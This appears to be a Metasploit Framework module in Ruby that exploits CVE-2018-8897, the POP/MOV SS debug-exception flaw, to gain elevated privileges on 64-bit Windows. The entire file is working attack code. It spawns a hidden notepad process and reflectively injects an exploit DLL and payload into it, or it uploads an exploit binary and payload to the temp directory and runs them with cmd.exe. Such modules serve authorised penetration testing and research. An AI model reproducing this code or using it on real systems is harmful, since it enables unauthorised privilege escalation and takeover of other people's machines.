##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
      'Description'    => %q(
        This module exploits a vulnerability in a statement in the system programming guide
        of the Intel 64 and IA-32 architectures software developer's manual being mishandled
        in various operating system kerneles, resulting in unexpected behavior for #DB
        excpetions that are deferred by MOV SS or POP SS.

        This module will upload the pre-compiled exploit and use it to execute the final
        payload in order to gain remote code execution.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nick Peterson',        # Original discovery (@nickeverdox)
          'Nemanja Mulasmajic',   # Original discovery (@0xNemi)
          'Can Bölük <can1357>',  # PoC
          'bwatters-r7'           # msf module
        ],
      'Platform'       => ['win'],
      'SessionTypes'   => ['meterpreter'],
      'Targets'        =>
        [
          ['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 08 2018',
      'References'     =>
        [
          ['CVE', '2018-8897'],
          ['EDB', '44697'],
          ['BID', '104071'],
          ['URL', 'https://github.com/can1357/CVE-2018-8897/'],
          ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
        ],
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => 'False'
        }
    ))

    register_options([
      OptBool.new('USE_INJECTION',
        [true, 'Use in-memory dll injection rather than exe file uploads.', true]),
      OptString.new('EXPLOIT_NAME',
        [false, 'The filename to use for the exploit binary if USE_INJECTION=false (%RAND% by default).', nil]),
      OptString.new('PAYLOAD_NAME',
        [false, 'The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default).', nil]),
      OptString.new('PATH',
        [false, 'Path to write binaries if if USE_INJECTION=false(%TEMP% by default).', nil]),
      OptInt.new('EXECUTE_DELAY',
        [false, 'The number of seconds to delay before executing the exploit if USE_INJECTION=false', 3])
    ])
  end

  def setup_process
    begin
      print_status('Launching notepad to host the exploit...')
      notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      # Sandboxes could not allow to create a new process
      # stdapi_sys_process_execute: Operation failed: Access is denied.
      print_error('Operation failed. Trying to elevate the current process...')
      process = client.sys.process.open
    end
    process
  end

  def setup
    super
    @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
    @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
    @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
    @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
    @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
    @payload_path = "#{temp_path}\\#{payload_name}"
    @exploit_path = "#{temp_path}\\#{exploit_name}"
    @payload_exe = generate_payload_exe
  end

  def inject_magic(process)
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll')
    library_path = ::File.expand_path(library_path)

    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
    dll = ''
    ::File.open(library_path, 'rb') { |f| dll = f.read }

    exploit_mem, offset = inject_dll_data_into_process(process, dll)

    print_status("Exploit injected. Injecting payload into #{process.pid}...")
    payload_mem = inject_into_process(process, payload.encoded)

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('Payload injected. Executing exploit...')
    process.thread.create(exploit_mem + offset, payload_mem)
  end

  def validate_active_host
    begin
      print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      raise Msf::Exploit::Failed, 'Could not connect to session'
    end
  end

  def validate_remote_path(path)
    unless directory?(path)
      fail_with(Failure::Unreachable, "#{path} does not exist on the target")
    end
  end

  def validate_target
    if sysinfo['Architecture'] == ARCH_X86
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end
    if sysinfo['OS'] =~ /XP/
      fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
    end
  end

  def ensure_clean_destination(path)
    if file?(path)
      print_status("#{path} already exists on the target. Deleting...")
      begin
        file_rm(path)
        print_status("Deleted #{path}")
      rescue Rex::Post::Meterpreter::RequestError => e
        elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
        print_error("Unable to delete #{path}")
      end
    end
  end

  def ensure_clean_exploit_destination
    ensure_clean_destination(exploit_path)
  end

  def ensure_clean_payload_destination
    ensure_clean_destination(payload_path)
  end

  def upload_exploit
    local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'cve-2018-8897-exe.exe')
    upload_file(exploit_path, local_exploit_path)
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
  end

  def upload_payload
    write_file(payload_path, payload_exe)
    print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
  end

  def execute_exploit
    sleep(datastore['EXECUTE_DELAY'])
    print_status("Running exploit #{exploit_path} with payload #{payload_path}")
    output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
    vprint_status(output)
  end

  def exploit_dll
    begin
      print_status('Checking target...')
      validate_active_host
      validate_target
      print_status('Target Looks Good... trying to start notepad')
      process = setup_process
      inject_magic(process)
      print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      print_error(e.message)
    end
  end

  def exploit_exe
    begin
      validate_remote_path(temp_path)
      ensure_clean_exploit_destination
      ensure_clean_payload_destination
      upload_exploit
      upload_payload
      execute_exploit
      print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      print_error(e.message)
      ensure_clean_exploit_destination
      ensure_clean_payload_destination
    end
  end

  def exploit
    begin
      validate_active_host
      validate_target
      if datastore['USE_INJECTION']
        exploit_dll
      else
        exploit_exe
      end
    end
  end

  attr_reader :exploit_name
  attr_reader :payload_name
  attr_reader :payload_exe
  attr_reader :temp_path
  attr_reader :payload_path
  attr_reader :exploit_path
end
